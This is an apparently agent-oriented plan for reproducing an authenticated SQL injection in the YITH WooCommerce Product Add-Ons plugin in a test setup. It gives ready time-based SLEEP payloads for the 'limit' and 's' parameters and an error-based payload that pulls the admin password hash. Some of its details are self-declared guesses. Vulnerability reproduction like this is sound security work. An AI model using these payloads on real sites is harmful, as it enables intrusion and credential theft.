YITH WooCommerce Product Add-Ons <= 4.29.0 - Authenticated (Shop manager+) SQL Injection

This research plan outlines the steps required to demonstrate a SQL Injection vulnerability in the YITH WooCommerce Product Add-Ons plugin.

1. Vulnerability Summary

The YITH_WAPO_DB::yith_wapo_get_blocks function in includes/class-yith-wapo-db.php is vulnerable to SQL Injection. The function constructs a SQL query by directly concatenating values from the $query_args array into the LIMIT, OFFSET, and WHERE clauses of a query. Specifically, the limit and offset parameters are used without any sanitization or casting to integers, and keys within the search conditions are not properly prepared using $wpdb->prepare().

This allows an authenticated attacker with Shop Manager or Administrator privileges to append arbitrary SQL commands, potentially leading to the extraction of sensitive data (like user hashes) from the WordPress database.

2. Attack Vector Analysis

• Endpoint: WordPress Admin Dashboard.
• Vulnerable Action: Accessing the list of Product Add-on "Blocks".
• Vulnerable Parameter: limit (concatenated to the LIMIT clause) or s (search parameter used in the WHERE clause).
• Authentication Required: Authenticated user with the shop_manager or administrator capability.
• Preconditions: The plugin must be active. At least one "Block" should ideally exist, though the injection is effective regardless.

3. Code Flow

1. Entry Point: An administrator navigates to the "Blocks" management page. This is likely handled by the YITH_WAPO_Admin class which initializes a YITH_WAPO_Blocks_List_Table.
2. Logic: The list table's prepare_items() method (or equivalent) fetches data by calling YITH_WAPO_DB::get_instance()->yith_wapo_get_blocks( false, $args ).
3. Vulnerable Sink: Inside yith_wapo_get_blocks in includes/class-yith-wapo-db.php:
   • $conditions is derived from $query_args.
   • If isset( $conditions['limit'] ), the code performs: $query_limit = 'LIMIT ' . $conditions['limit'];.
   • The resulting $query_limit is concatenated directly into the final query string:
     $query = "SELECT id FROM {$blocks_table} {$query_where} ORDER BY {$order_by} ASC {$query_limit} {$query_offset}";
   • The query is executed via $wpdb->get_col( $query ), which explicitly ignores WordPress.DB.PreparedSQL.NotPrepared.

4. Nonce Acquisition Strategy

While many admin list tables use nonces for bulk actions, simple GET-based filtering and searching often do not enforce a nonce check for the data retrieval itself.

If the blocks list is loaded via an AJAX request (common in YITH plugins), the nonce can be retrieved using the following steps:

1. Identify Shortcode/Page: The blocks list is in the admin panel at admin.php?page=yith_wapo_blocks (inferred slug based on YITH_WAPO_SLUG).
2. Navigation: Navigate to the Add-ons Blocks page using browser_navigate.
3. Extraction: Use browser_eval to search for localized script data.
   • Look for the variable used in the block editor or list table. Based on common YITH patterns, this might be yith_wapo_admin or similar.
   • Note: If the vulnerability is triggered via a direct GET request to the admin page (non-AJAX), no nonce is required for the SQLi itself.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection targeting the limit parameter because it is appended at the very end of the query, making it easier to manipulate.

Step-by-Step:

1. Login: Use the http_request tool to authenticate as a Shop Manager.
2. Baseline Request: Request the blocks list page to confirm access:
   GET /wp-admin/admin.php?page=yith_wapo_blocks
3. Exploit Request (Time-Based):
   Inject a SLEEP() command into the limit parameter.
   • Payload: 1; SELECT SLEEP(5)
   • URL: /wp-admin/admin.php?page=yith_wapo_blocks&limit=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)
   • Alternative Payload (Search): /wp-admin/admin.php?page=yith_wapo_blocks&s=test'%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20OR%20name%20LIKE%20'

HTTP Request Details:

• Method: GET
• Path: /wp-admin/admin.php
• Query Params:
  • page: yith_wapo_blocks
  • limit: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

6. Test Data Setup

1. Create Shop Manager:
   wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
2. Ensure Plugin is Active:
   wp plugin activate yith-woocommerce-product-add-ons
3. Create a Dummy Block (Optional but helpful):
   The vulnerability exists even if no blocks are returned, but having one ensures the query logic completes. (This usually requires interacting with the plugin's custom tables).

7. Expected Results

• The baseline request should return in standard time (e.g., < 500ms).
• The exploit request should result in a visible delay of approximately 5 seconds before the server responds.
• The response body for the exploit request may be empty or a standard admin page, as the injection happens in the data-fetching layer.

8. Verification Steps

After performing the HTTP request, verify the vulnerability using the database logs or by observing the response timing.

1. Check Execution Time: Compare the duration field in the http_request response metadata.
2. Database Trace (Manual): If you have access to the environment, you can check the MySQL general log to see the malformed query:
   SELECT id FROM wp_yith_wapo_blocks ... LIMIT 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

9. Alternative Approaches

If the limit parameter is not directly accepted from $_GET, target the s (search) parameter:

• Search Injection: GET /wp-admin/admin.php?page=yith_wapo_blocks&s=any-string' AND (SELECT 5678 FROM (SELECT(SLEEP(5)))b) AND '1'='1
• Error-Based (if WP_DEBUG is on):
  limit=1 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1))),1)
  This would attempt to leak the admin password hash directly into an error message.